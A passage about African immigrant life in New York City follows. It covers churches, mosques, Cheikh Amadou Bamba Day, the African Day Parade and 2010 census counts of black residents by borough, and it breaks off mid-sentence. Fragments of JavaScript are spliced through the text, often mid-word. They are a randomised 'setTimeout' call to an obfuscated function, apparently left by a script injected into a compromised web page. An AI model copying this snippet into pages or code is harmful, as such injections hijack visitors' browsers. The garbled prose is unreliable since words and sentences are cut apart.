          Religious institutions have mushroomed. Ethiopian immigrants have established Ethiopian or Coptic Orthodox Christian churches. Protestants of many denominations have done the same. There are over 100 African churches. The Redeemed Christian Church of God, a Pentecostal church based in Nigeria, has established over forty branches in New York. The Presbyterian Church of Ghana has several branches in the city. Dozens of mosques frequented by West Africans have opened since the mid-1990s. They are mostly sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torefront mosques like the sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torefront churches that were the hallmark of the southern migrants during the Great Migration, some of which still exist dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today.

          July 28 has been officially declared Cheikh Amadou Bamba Day in New York. The late Cheikh Bamba, the founder of the Murid Sufi order in Senegal, has thousdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands of followers among the Senegalese diaspora in New York. Men, women, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and children walk up Fifth Avenue in Harlem every year in what is the most visible West African Muslim event in the nation. In 2005, young African professionals established the African Day Parade, which includes a street fair, music, dance, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and fashion.

          Despite the influx of immigrants, for the past few years, New York City’s black population has been on the decline, losing over 5 percent of its numbers between 2000 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 2010. According dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the 2010 census, 1,861,295 “Black/African American non Hispanics” lived in New York City. They represented 22.8 percent of the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total population of over 8 million New Yorkers. Manhattan, once the city’s “blackest” borough, has been outdistanced by Brooklyn dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Bronx.

          Brooklyn has by far the largest concentration of black residents: 799,066. They made up 32 percent of the borough’s population dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 43 percent of New York City’s black population in the last census. Its 416,695 black residents represent 30 percent of the Bronx’s population dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 22 percent of black New Yorkers. In Queens, 395,881 black inhabitants represent 18 percent of this borough’s population dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 21 percent of all black New Yorkers. Manhattan counts 205,340 black residents. They represent 13 percent of the borough’s population dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 11 percent of the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}